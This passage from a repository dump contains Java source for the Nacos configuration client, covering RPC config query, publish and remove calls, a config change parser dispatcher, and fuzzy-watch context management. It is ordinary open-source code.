initRpcClientHandler(rpcClient);\n                    rpcClient.setTenant(getTenant());\n                    rpcClient.start();\n                }\n                \n                return rpcClient;\n            }\n            \n        }\n        \n        /**\n         * build config string.\n         *\n         * @param caches caches to build config string.\n         * @return request.\n         */\n        private ConfigBatchListenRequest buildConfigRequest(List<CacheData> caches) {\n            \n            ConfigBatchListenRequest configChangeListenRequest = new ConfigBatchListenRequest();\n            for (CacheData cacheData : caches) {\n                configChangeListenRequest.addConfigListenContext(cacheData.group, cacheData.dataId, cacheData.tenant,\n                        cacheData.getMd5());\n            }\n            return configChangeListenRequest;\n        }\n        \n        @Override\n        public void removeCache(String dataId, String group) {\n            // Notify to rpc un listen ,and remove cache if success.\n            notifyListenConfig();\n        }\n        \n        /**\n         * send cancel listen config change request .\n         *\n         * @param configChangeListenRequest request of remove listen config string.\n         */\n        private boolean unListenConfigChange(RpcClient rpcClient, ConfigBatchListenRequest configChangeListenRequest)\n                throws NacosException {\n            \n            ConfigChangeBatchListenResponse response = (ConfigChangeBatchListenResponse) requestProxy(rpcClient,\n                    configChangeListenRequest);\n            return response.isSuccess();\n        }\n        \n        @Override\n        public ConfigResponse queryConfig(String dataId, String group, String tenant, long readTimeouts, boolean notify)\n                throws NacosException {\n            RpcClient rpcClient = getOneRunningClient();\n            if (notify) {\n                CacheData cacheData = cacheMap.get().get(GroupKey.getKeyTenant(dataId, group, tenant));\n                if (cacheData != null) {\n                    rpcClient = ensureRpcClient(String.valueOf(cacheData.getTaskId()));\n                }\n            }\n            \n            return queryConfigInner(rpcClient, dataId, group, tenant, readTimeouts, notify);\n            \n        }\n        \n        ConfigResponse queryConfigInner(RpcClient rpcClient, String dataId, String group, String tenant,\n                long readTimeouts, boolean notify) throws NacosException {\n            ConfigQueryRequest request = ConfigQueryRequest.build(dataId, group, tenant);\n            request.putHeader(NOTIFY_HEADER, String.valueOf(notify));\n            \n            ConfigQueryResponse response = (ConfigQueryResponse) requestProxy(rpcClient, request, readTimeouts);\n            \n            ConfigResponse configResponse = new ConfigResponse();\n            if (response.isSuccess()) {\n                LocalConfigInfoProcessor.saveSnapshot(this.getName(), dataId, group, tenant, response.getContent());\n                configResponse.setContent(response.getContent());\n                // Set MD5 from server response\n                configResponse.setMd5(response.getMd5());\n                String configType;\n                if (StringUtils.isNotBlank(response.getContentType())) {\n                    configType = response.getContentType();\n                } else {\n                    configType = ConfigType.TEXT.getType();\n                }\n                configResponse.setConfigType(configType);\n                String encryptedDataKey = response.getEncryptedDataKey();\n                LocalEncryptedDataKeyProcessor.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant,\n                        encryptedDataKey);\n                configResponse.setEncryptedDataKey(encryptedDataKey);\n                return configResponse;\n            } else if (response.getErrorCode() == ConfigQueryResponse.CONFIG_NOT_FOUND) {\n                LocalConfigInfoProcessor.saveSnapshot(this.getName(), dataId, group, tenant, null);\n                LocalEncryptedDataKeyProcessor.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant, null);\n                return configResponse;\n            } else if (response.getErrorCode() == ConfigQueryResponse.CONFIG_QUERY_CONFLICT) {\n                LOGGER.error(\n                        \"[{}] [sub-server-error] get server config being modified concurrently, dataId={}, group={}, \"\n                                + \"tenant={}\", this.getName(), dataId, group, tenant);\n                throw new NacosException(NacosException.CONFLICT,\n                        \"data being modified, dataId=\" + dataId + \",group=\" + group + \",tenant=\" + tenant);\n            } else {\n                LOGGER.error(\"[{}] [sub-server-error]  dataId={}, group={}, tenant={}, code={}\", this.getName(), dataId,\n                        group, tenant, response);\n                throw new NacosException(response.getErrorCode(),\n                        \"http error, code=\" + response.getErrorCode() + \",msg=\" + response.getMessage() + \",dataId=\"\n                                + dataId + \",group=\" + group + \",tenant=\" + tenant);\n                \n            }\n        }\n        \n        Response requestProxy(RpcClient rpcClientInner, Request request) throws NacosException {\n            return requestProxy(rpcClientInner, request, requestTimeout);\n        }\n        \n        private Response requestProxy(RpcClient rpcClientInner, Request request, long timeoutMills)\n                throws NacosException {\n            try {\n                request.putAllHeader(super.getSecurityHeaders(resourceBuild(request)));\n                request.putAllHeader(super.getCommonHeader());\n            } catch (Exception e) {\n                throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n            }\n            JsonObject asJsonObjectTemp = new Gson().toJsonTree(request).getAsJsonObject();\n            asJsonObjectTemp.remove(\"headers\");\n            asJsonObjectTemp.remove(\"requestId\");\n            boolean limit = Limiter.isLimit(request.getClass() + asJsonObjectTemp.toString());\n            if (limit) {\n                throw new NacosException(NacosException.CLIENT_OVER_THRESHOLD,\n                        \"More than client-side current limit threshold\");\n            }\n            Response response;\n            if (timeoutMills < 0) {\n                response = rpcClientInner.request(request);\n            } else {\n                response = rpcClientInner.request(request, timeoutMills);\n            }\n            // If the 403 login operation is triggered, refresh the accessToken of the client\n            if (response.getErrorCode() == ConfigQueryResponse.NO_RIGHT) {\n                reLogin();\n            }\n            return response;\n        }\n        \n        private RequestResource resourceBuild(Request request) {\n            if (request instanceof ConfigQueryRequest) {\n                String tenant = ((ConfigQueryRequest) request).getTenant();\n                String group = ((ConfigQueryRequest) request).getGroup();\n                String dataId = ((ConfigQueryRequest) request).getDataId();\n                return buildResource(tenant, group, dataId);\n            }\n            if (request instanceof ConfigPublishRequest) {\n                String tenant = ((ConfigPublishRequest) request).getTenant();\n                String group = ((ConfigPublishRequest) request).getGroup();\n                String dataId = ((ConfigPublishRequest) request).getDataId();\n                return buildResource(tenant, group, dataId);\n            }\n            \n            if (request instanceof ConfigRemoveRequest) {\n                String tenant = ((ConfigRemoveRequest) request).getTenant();\n                String group = ((ConfigRemoveRequest) request).getGroup();\n                String dataId = ((ConfigRemoveRequest) request).getDataId();\n                return buildResource(tenant, group, dataId);\n            }\n            return RequestResource.configBuilder().build();\n        }\n        \n        RpcClient getOneRunningClient() throws NacosException {\n            return ensureRpcClient(\"0\");\n        }\n        \n        @Override\n        public boolean publishConfig(String dataId, String group, String tenant, String appName, String tag,\n                String betaIps, String content, String encryptedDataKey, String casMd5, String type)\n                throws NacosException {\n            try {\n                ConfigPublishRequest request = new ConfigPublishRequest(dataId, group, tenant, content);\n                request.setCasMd5(casMd5);\n                request.putAdditionalParam(TAG_PARAM, tag);\n                request.putAdditionalParam(APP_NAME_PARAM, appName);\n                request.putAdditionalParam(BETAIPS_PARAM, betaIps);\n                request.putAdditionalParam(TYPE_PARAM, type);\n                request.putAdditionalParam(ENCRYPTED_DATA_KEY_PARAM, encryptedDataKey == null ? \"\" : encryptedDataKey);\n                ConfigPublishResponse response = (ConfigPublishResponse) requestProxy(getOneRunningClient(), request);\n                if (!response.isSuccess()) {\n                    LOGGER.warn(\"[{}] [publish-single] fail, dataId={}, group={}, tenant={}, code={}, msg={}\",\n                            this.getName(), dataId, group, tenant, response.getErrorCode(), response.getMessage());\n                    return false;\n                } else {\n                    LOGGER.info(\"[{}] [publish-single] ok, dataId={}, group={}, tenant={}\", getName(), dataId, group,\n                            tenant);\n                    return true;\n                }\n            } catch (Exception e) {\n                LOGGER.warn(\"[{}] [publish-single] error, dataId={}, group={}, tenant={}, code={}, msg={}\",\n                        this.getName(), dataId, group, tenant, \"unknown\", e.getMessage());\n                return false;\n            }\n        }\n        \n        @Override\n        public boolean removeConfig(String dataId, String group, String tenant, String tag) throws NacosException {\n            ConfigRemoveRequest request = new ConfigRemoveRequest(dataId, group, tenant, tag);\n            ConfigRemoveResponse response = (ConfigRemoveResponse) requestProxy(getOneRunningClient(), request);\n            return response.isSuccess();\n        }\n        \n        /**\n         * check server is health.\n         *\n         * @return\n         */\n        public boolean isHealthServer() {\n            try {\n                return getOneRunningClient().isRunning();\n            } catch (NacosException e) {\n                LOGGER.warn(\"check server status failed.\", e);\n                return false;\n            }\n        }\n        \n        /**\n         * Determine whether nacos-server supports the capability.\n         *\n         * @param abilityKey ability key\n         * @return true if supported, otherwise false\n         */\n        public boolean isAbilitySupportedByServer(AbilityKey abilityKey) {\n            try {\n                return getOneRunningClient().getConnectionAbility(abilityKey) == AbilityStatus.SUPPORTED;\n            } catch (NacosException e) {\n                throw new NacosRuntimeException(e.getErrCode(), \"Get Running Client failed: \", e);\n            }\n        }\n    }\n    \n    public String getAgentName() {\n        return agent.getName();\n    }\n    \n    public ConfigTransportClient getAgent() {\n        return agent;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigChangeHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.api.config.listener.ConfigChangeParser;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\n\nimport java.io.IOException;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * ConfigChangeHandler.\n *\n * @author rushsky518\n */\npublic class ConfigChangeHandler {\n    \n    private static class ConfigChangeHandlerHolder {\n        \n        private static final ConfigChangeHandler INSTANCE = new ConfigChangeHandler();\n    }\n    \n    private ConfigChangeHandler() {\n        this.parserList = new LinkedList<>();\n        \n        Collection<ConfigChangeParser> loader = NacosServiceLoader.load(ConfigChangeParser.class);\n        this.parserList.addAll(loader);\n\n        this.parserList.add(new PropertiesChangeParser());\n        this.parserList.add(new YmlChangeParser());\n    }\n    \n    public static ConfigChangeHandler getInstance() {\n        return ConfigChangeHandlerHolder.INSTANCE;\n    }\n    \n    /**\n     * Parse changed data.\n     *\n     * @param oldContent old data\n     * @param newContent new data\n     * @param type       data type\n     * @return change data map\n     * @throws IOException io exception\n     */\n    public Map<String, ConfigChangeItem> parseChangeData(String oldContent, String newContent, String type) throws IOException {\n        for (ConfigChangeParser changeParser : this.parserList) {\n            if (changeParser.isResponsibleFor(type)) {\n                return changeParser.doParse(oldContent, newContent, type);\n            }\n        }\n        \n        return Collections.emptyMap();\n    }\n    \n    private final List<ConfigChangeParser> parserList;\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatchContext.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.listener.ConfigFuzzyWatchChangeEvent;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchLoadWatcher;\nimport com.alibaba.nacos.client.config.common.GroupKey;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.ADD_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_DIFF_SYNC_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\n\n/**\n * fuzzy watcher context for a single group key pattern.\n *\n * <p>This class manages the context information for fuzzy listening, including environment name, task ID, data ID\n * pattern, group, tenant, listener set, and other related information.\n * </p>\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic class ConfigFuzzyWatchContext {\n    \n    /**\n     * Logger for FuzzyListenContext.\n     */\n    private static final Logger LOGGER = LogUtils.logger(ConfigFuzzyWatchContext.class);\n    \n    /**\n     * Environment name.\n     */\n    private String envName;\n    \n    /**\n     * Task ID.\n     */\n    private int taskId;\n    \n    private String groupKeyPattern;\n    \n    /**\n     * Set of data IDs associated with the context.\n     */\n    private Set<String> receivedGroupKeys = new ConcurrentHashSet<>();\n    \n    long syncVersion = 0;\n    \n    /**\n     * Flag indicating whether the context is consistent with the server.\n     */\n    private final AtomicBoolean isConsistentWithServer = new AtomicBoolean();\n    \n    /**\n     * Condition object for waiting initialization completion.\n     */\n    final AtomicBoolean initializationCompleted = new AtomicBoolean(false);\n    \n    /**\n     * Flag indicating whether the context is discarded.\n     */\n    private volatile boolean isDiscard = false;\n    \n    long patternLimitTs = 0;\n    \n    private static final long SUPPRESSED_PERIOD = 60 * 1000L;\n    \n    boolean patternLimitSuppressed() {\n        return patternLimitTs > 0 && System.currentTimeMillis() - patternLimitTs < SUPPRESSED_PERIOD;\n    }\n    \n    public void clearOverLimitTs() {\n        this.patternLimitTs = 0;\n    }\n    \n    public void refreshOverLimitTs() {\n        this.patternLimitTs = System.currentTimeMillis();\n    }\n    \n    /**\n     * Set of listeners associated with the context.\n     */\n    private Set<ConfigFuzzyWatcherWrapper> configFuzzyWatcherWrappers = new HashSet<>();\n    \n    /**\n     * Constructor with environment name, data ID pattern, and group.\n     *\n     * @param envName         Environment name\n     * @param groupKeyPattern groupKeyPattern\n     */\n    public ConfigFuzzyWatchContext(String envName, String groupKeyPattern) {\n        this.envName = envName;\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    /**\n     * Calculate the listeners to notify based on the given UUID.\n     *\n     * @param uuid UUID to filter listeners\n     * @return Set of listeners to notify\n     */\n    public Set<ConfigFuzzyWatcherWrapper> calculateListenersToNotify(String uuid) {\n        Set<ConfigFuzzyWatcherWrapper> listenersToNotify = new HashSet<>();\n        if (StringUtils.isEmpty(uuid)) {\n            listenersToNotify = configFuzzyWatcherWrappers;\n        } else {\n            for (ConfigFuzzyWatcherWrapper listener : configFuzzyWatcherWrappers) {\n                if (uuid.equals(listener.getUuid())) {\n                    listenersToNotify.add(listener);\n                }\n            }\n        }\n        return listenersToNotify;\n    }\n    \n    /**\n     * Notify the listener with the specified data ID, type, and UUID.\n     *\n     * @param groupKey groupKey\n     * @param uuid     UUID to filter listeners\n     */\n    public void notifyWatcher(final String groupKey, final String changedType, final String syncType,\n            final String uuid) {\n        Set<ConfigFuzzyWatcherWrapper> listenersToNotify = calculateListenersToNotify(uuid);\n        doNotifyWatchers(groupKey, changedType, syncType, listenersToNotify);\n    }\n    \n    /**\n     * Perform the notification for the specified data ID, type, and listeners.\n     *\n     * @param groupKey          groupKey\n     * @param listenersToNotify Set of listeners to notify\n     */\n    private void doNotifyWatchers(final String groupKey, final String changedType, final String syncType,\n            Set<ConfigFuzzyWatcherWrapper> listenersToNotify) {\n        for (ConfigFuzzyWatcherWrapper watcher : listenersToNotify) {\n            doNotifyWatcher(groupKey, changedType, syncType, watcher);\n        }\n    }\n    \n    /**\n     * notify loader watcher.\n     *\n     * @param code over limit code,FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT or FUZZY_WATCH_PATTERN_OVER_LIMIT.\n     */\n    public void notifyLoaderWatcher(int code) {\n        \n        if (this.patternLimitSuppressed()) {\n            return;\n        }\n        boolean notify = false;\n        \n        for (ConfigFuzzyWatcherWrapper configFuzzyWatcherWrapper : calculateListenersToNotify(null)) {\n            if (configFuzzyWatcherWrapper.fuzzyWatchEventWatcher instanceof FuzzyWatchLoadWatcher) {\n                \n                if (FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode().equals(code)) {\n                    ((FuzzyWatchLoadWatcher) configFuzzyWatcherWrapper.fuzzyWatchEventWatcher).onConfigReachUpLimit();\n                    notify = true;\n                }\n                if (FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode().equals(code)) {\n                    ((FuzzyWatchLoadWatcher) configFuzzyWatcherWrapper.fuzzyWatchEventWatcher).onPatternOverLimit();\n                    notify = true;\n                }\n            }\n        }\n        if (notify) {\n            this.refreshOverLimitTs();\n        }\n    }\n    \n    private void doNotifyWatcher(final String groupKey, final String changedType, final String syncType,\n            ConfigFuzzyWatcherWrapper configFuzzyWatcher) {\n        \n        if (ADD_CONFIG.equals(changedType) && configFuzzyWatcher.getSyncGroupKeys().contains(groupKey)) {\n            return;\n        }\n        \n        if (DELETE_CONFIG.equals(changedType) && !configFuzzyWatcher.getSyncGroupKeys().contains(groupKey)) {\n            return;\n        }\n        \n        String[] parseKey = GroupKey.parseKey(groupKey);\n        String dataId = parseKey[0];\n        String group = parseKey[1];\n        \n        String tenant = parseKey[2];\n        \n        final String resetSyncType = initializationCompleted.get() ? syncType : FUZZY_WATCH_INIT_NOTIFY;\n        AbstractFuzzyNotifyTask job = new AbstractFuzzyNotifyTask() {\n            @Override\n            public void run() {\n                long start = System.currentTimeMillis();\n                ConfigFuzzyWatchChangeEvent event = ConfigFuzzyWatchChangeEvent.build(tenant, group, dataId,\n                        changedType, resetSyncType);\n                if (configFuzzyWatcher != null) {\n                    configFuzzyWatcher.fuzzyWatchEventWatcher.onEvent(event);\n                }\n                LOGGER.info(\n                        \"[{}] [notify-fuzzy-watcher-ok] dataId={}, group={}, tenant={}, watcher={}, job run cost={} millis.\",\n                        envName, dataId, group, tenant, configFuzzyWatcher, (System.currentTimeMillis() - start));\n                if (changedType.equals(DELETE_CONFIG)) {\n                    configFuzzyWatcher.getSyncGroupKeys().remove(GroupKey.getKey(dataId, group, tenant));\n                } else if (changedType.equals(ADD_CONFIG)) {\n                    configFuzzyWatcher.getSyncGroupKeys().add(GroupKey.getKey(dataId, group, tenant));\n                    \n                }\n            }\n        };\n        \n        try {\n            if (null != configFuzzyWatcher.fuzzyWatchEventWatcher.getExecutor()) {\n                LOGGER.info(\n                        \"[{}] [notify-fuzzy-watcher] task submitted to user executor, dataId={}, group={}, tenant={}, listener={}.\",\n                        envName, dataId, group, tenant, configFuzzyWatcher);\n                job.async = true;\n                configFuzzyWatcher.fuzzyWatchEventWatcher.getExecutor().execute(job);\n            } else {\n                LOGGER.info(\n                        \"[{}] [notify-fuzzy-watcher] task execute in nacos thread, dataId={}, group={}, tenant={}, listener={}.\",\n                        envName, dataId, group, tenant, configFuzzyWatcher);\n                job.run();\n            }\n        } catch (Throwable t) {\n            LOGGER.error(\"[{}] [notify-fuzzy-watcher-error] dataId={}, group={}, tenant={}, listener={}, throwable={}.\",\n                    envName, dataId, group, tenant, configFuzzyWatcher, t.getCause());\n        }\n    }\n    \n    /**\n     * Mark initialization as complete and notify waiting threads.\n     */\n    public void markInitializationComplete() {\n        initializationCompleted.set(true);\n        synchronized (this) {\n            this.notifyAll();\n        }\n    }\n    \n    /**\n     * Remove a watcher from the context.\n     *\n     * @param watcher watcher to be removed\n     */\n    public void removeWatcher(FuzzyWatchEventWatcher watcher) {\n        \n        Iterator<ConfigFuzzyWatcherWrapper> iterator = configFuzzyWatcherWrappers.iterator();\n        while (iterator.hasNext()) {\n            ConfigFuzzyWatcherWrapper next = iterator.next();\n            if (next.fuzzyWatchEventWatcher.equals(watcher)) {\n                iterator.remove();\n                LOGGER.info(\"[{}] [remove-fuzzy-watcher-ok] groupKeyPattern={}, watcher={},uuid={} \", getEnvName(),\n                        this.groupKeyPattern, watcher, next.getUuid());\n            }\n        }\n        \n    }\n    \n    /**\n     * Add a watcher to the context.\n     *\n     * @param configFuzzyWatcherWrapper watcher to be added\n     */\n    public boolean addWatcher(ConfigFuzzyWatcherWrapper configFuzzyWatcherWrapper) {\n        boolean added = configFuzzyWatcherWrappers.add(configFuzzyWatcherWrapper);\n        if (added) {\n            LOGGER.info(\"[{}] [add-fuzzy-watcher-ok] groupKeyPattern={}, watcher={},uuid={} \", getEnvName(),\n                    this.groupKeyPattern, configFuzzyWatcherWrapper.fuzzyWatchEventWatcher,\n                    configFuzzyWatcherWrapper.getUuid());\n        }\n        return added;\n    }\n    \n    /**\n     * Get the environment name.\n     *\n     * @return Environment name\n     */\n    public String getEnvName() {\n        return envName;\n    }\n    \n    /**\n     * Set the environment name.\n     *\n     * @param envName Environment name to be set\n     */\n    public void setEnvName(String envName) {\n        this.envName = envName;\n    }\n    \n    /**\n     * Get the task ID.\n     *\n     * @return Task ID\n     */\n    public int getTaskId() {\n        return taskId;\n    }\n    \n    /**\n     * Set the task ID.\n     *\n     * @param taskId Task ID to be set\n     */\n    public void setTaskId(int taskId) {\n        this.taskId = taskId;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    /**\n     * Get the flag indicating whether the context is consistent with the server.\n     *\n     * @return AtomicBoolean indicating whether the context is consistent with the server\n     */\n    public boolean isConsistentWithServer() {\n        return isConsistentWithServer.get();\n    }\n    \n    public void setConsistentWithServer(boolean isConsistentWithServer) {\n        this.isConsistentWithServer.set(isConsistentWithServer);\n    }\n    \n    /**\n     * Check if the context is discarded.\n     *\n     * @return True if the context is discarded, otherwise false\n     */\n    public boolean isDiscard() {\n        return isDiscard;\n    }\n    \n    /**\n     * Set the flag indicating whether the context is discarded.\n     *\n     * @param discard True to mark the context as discarded, otherwise false\n     */\n    public void setDiscard(boolean discard) {\n        isDiscard = discard;\n    }\n    \n    /**\n     * Check if the context is initializing.\n     *\n     * @return True if the context is initializing, otherwise false\n     */\n    public boolean isInitializing() {\n        return !initializationCompleted.get();\n    }\n    \n    public int getReceivedGroupKeysCount() {\n        return receivedGroupKeys.size();\n    }\n    \n    /**\n     * Get the set of data IDs associated with the context. zw\n     *\n     * @return Set of data IDs\n     */\n    public Set<String> getReceivedGroupKeys() {\n        return Collections.unmodifiableSet(receivedGroupKeys);\n    }\n    \n    public void refreshSyncVersion() {\n        this.syncVersion = System.currentTimeMillis();\n    }\n    \n    /**\n     * add receive group key.\n     * @param groupKey group key.\n     * @return\n     */\n    public boolean addReceivedGroupKey(String groupKey) {\n        boolean added = receivedGroupKeys.add(groupKey);\n        if (added) {\n            refreshSyncVersion();\n        }\n        return added;\n    }\n    \n    /**\n     * remove receive group key.\n     * @param groupKey group key.\n     * @return\n     */\n    public boolean removeReceivedGroupKey(String groupKey) {\n        boolean removed = receivedGroupKeys.remove(groupKey);\n        if (removed) {\n            refreshSyncVersion();\n        }\n        return removed;\n    }\n    \n    /**\n     * Get the set of listeners associated with the context.\n     *\n     * @return Set of listeners\n     */\n    public Set<ConfigFuzzyWatcherWrapper> getConfigFuzzyWatcherWrappers() {\n        return configFuzzyWatcherWrappers;\n    }\n    \n    /**\n     * Abstract task for fuzzy notification.\n     */\n    abstract static class AbstractFuzzyNotifyTask implements Runnable {\n        \n        /**\n         * Flag indicating whether the task is asynchronous.\n         */\n        boolean async = false;\n        \n        /**\n         * Check if the task is asynchronous.\n         *\n         * @return True if the task is asynchronous, otherwise false\n         */\n        public boolean isAsync() {\n            return async;\n        }\n    }\n    \n    void syncFuzzyWatchers() {\n        for (ConfigFuzzyWatcherWrapper configFuzzyWatcher : configFuzzyWatcherWrappers) {\n            \n            if (configFuzzyWatcher.syncVersion == this.syncVersion) {\n                continue;\n            }\n            \n            Set<String> receivedGroupKeysContext = new HashSet<>(getReceivedGroupKeys());\n            Set<String> syncGroupKeys = configFuzzyWatcher.getSyncGroupKeys();\n            List<FuzzyGroupKeyPattern.GroupKeyState> groupKeyStates = FuzzyGroupKeyPattern.diffGroupKeys(\n                    receivedGroupKeysContext, syncGroupKeys);\n            if (CollectionUtils.isEmpty(groupKeyStates)) {\n                configFuzzyWatcher.syncVersion = this.syncVersion;\n            } else {\n                for (FuzzyGroupKeyPattern.GroupKeyState groupKeyState : groupKeyStates) {\n                    String changedType = groupKeyState.isExist() ? ADD_CONFIG : DELETE_CONFIG;\n                    doNotifyWatcher(groupKeyState.getGroupKey(), changedType, FUZZY_WATCH_DIFF_SYNC_NOTIFY,\n                            configFuzzyWatcher);\n                }\n            }\n            \n        }\n    }\n    \n    /**\n     * creat a new future of this context.\n     *\n     * @return\n     */\n    public Future<Set<String>> createNewFuture() {\n        Future<Set<String>> future = new Future<Set<String>>() {\n            @Override\n            public boolean cancel(boolean mayInterruptIfRunning) {\n                throw new UnsupportedOperationException(\"not support to cancel fuzzy watch\");\n            }\n            \n            @Override\n            public boolean isCancelled() {\n                return false;\n            }\n            \n            @Override\n            public boolean isDone() {\n                return ConfigFuzzyWatchContext.this.initializationCompleted.get();\n            }\n            \n            @Override\n            public Set<String> get() throws InterruptedException, ExecutionException {\n                \n                if (!ConfigFuzzyWatchContext.this.initializationCompleted.get()) {\n                    synchronized (ConfigFuzzyWatchContext.this) {\n                        ConfigFuzzyWatchContext.this.wait();\n                    }\n                }\n                return new HashSet<>(ConfigFuzzyWatchContext.this.getReceivedGroupKeys());\n            }\n            \n            public Set<String> get(long timeout, TimeUnit unit) throws InterruptedException, TimeoutException {\n                if (!ConfigFuzzyWatchContext.this.initializationCompleted.get()) {\n                    synchronized (ConfigFuzzyWatchContext.this) {\n                        ConfigFuzzyWatchContext.this.wait(unit.toMillis(timeout));\n                    }\n                }\n                \n                if (!ConfigFuzzyWatchContext.this.initializationCompleted.get()) {\n                    throw new TimeoutException(\n                            \"fuzzy watch result future timeout for \" + unit.toMillis(timeout) + \" millis\");\n                }\n                return new HashSet<>(ConfigFuzzyWatchContext.this.getReceivedGroupKeys());\n            }\n        };\n        \n        return future;\n    }\n}\n\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatchGroupKeyHolder.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchChangeNotifyResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchSyncResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.client.config.common.GroupKey;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport org.slf4j.Logger;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.ADD_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.CONFIG_CHANGED;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_RESOURCE_CHANGED;\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_CANCEL_WATCH;\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_WATCH;\nimport static 